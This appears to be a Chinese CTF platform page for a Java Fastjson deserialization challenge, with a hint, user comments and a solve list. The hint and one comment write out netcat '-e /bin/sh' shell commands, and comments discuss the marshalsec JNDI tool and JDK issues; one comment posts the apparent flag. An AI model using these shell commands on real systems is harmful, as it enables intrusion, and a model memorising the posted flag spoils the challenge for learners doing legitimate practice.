Java Fastjson UnserializeWEB 未解决

分数: 40 金币: 5
题目作者: 云牧青
一  血: 云牧青
一血奖励: 8金币
解  决: 169
提  示: /bin/bash:x ; /bin/sh √ ; /dev/tcp × ; nc x.x.x.x x -e √ ;
描  述:
flag{}
评论
fu11dreamer 7月前

没有云主机是不是就没办法解题了?

回复 0

ilovevicky99 1年前

得不到反弹的shell呀 是一步一步按wp来的呀

回复 0

wxy1343 3年前

flag{c4825441cb7fe815994a6ba7651a9744}

回复 0

ruibiu 3年前

始终弹不回shell,回显com.alibaba.fastjson.JSONException: set property error, autoCommit

回复 1
fu11dreamer 7月前

我也是这个情况,本地 jdk 1.8.0_341

回复 0

txadmin 3年前

应该是jdk版本的问题,用jdk8可以反弹,用最新的jdk17反而不能

回复 0

jack12138 3年前

正向弹shell: nc ip port -e /bin/sh

回复 0

acvxd 4年前

误: 找不到或无法加载主类 marshalsec.jndi.LDAPRefServer

回复 0
sshui 3年前

工具坏了,重新找一个

回复 0

txadmin 4年前

解题参考 https://www.cnblogs.com/ktsm/p/15700289.html

回复 3
txadmin 3年前

@成朗 不好意思,最近复现了一下,代码确实有问题,不能用wget下载,而是访问那个网址或者git clone下来

回复 0

成朗 3年前

你这工具是坏的,虾仁猪心,,我用你的wp因为工具你编译的错误,导致我6个小时都在找哪里出错了。,,

回复 0

txadmin 4年前

题主是老java程序员吗?

回复 0
云牧青 4年前

并不是Java程序员,看代码就知道了,超水,哈哈哈

回复 0

blueyst 4年前

传payload直接传死机了可还行,痛失5金币,记仇ing

回复 2
云牧青 4年前

(つ﹏⊂)

回复 1

blueyst 4年前

自己抢自己一血了属于是

回复 2
云牧青 4年前

哈哈哈哈哈哈哈,没忍住

回复 1

WriteUp

image
xiaoxiaoran

4 金币

评分(3)

解题动态

chenlinXdb 攻破了该题 16小时前
kingx3 攻破了该题 7天前
一江明月送归舟 攻破了该题 7天前
itsjimo 攻破了该题 15天前
qi1102 攻破了该题 17天前
KN11 攻破了该题 20天前
风掠 攻破了该题 21天前
小楼一夜听春雨 攻破了该题 23天前
世界你好 攻破了该题 25天前
lzq2000 攻破了该题 26天前
xmai001 攻破了该题 26天前
能工智人 攻破了该题 26天前
iwindy 攻破了该题 1月前
CTF-大王 攻破了该题 1月前
riyuedeqi 攻破了该题 1月前
加州故事 攻破了该题 1月前
mystery 攻破了该题 1月前
mahiru 攻破了该题 1月前
路人甲1123 攻破了该题 2月前
兰小方 攻破了该题 2月前
问题反馈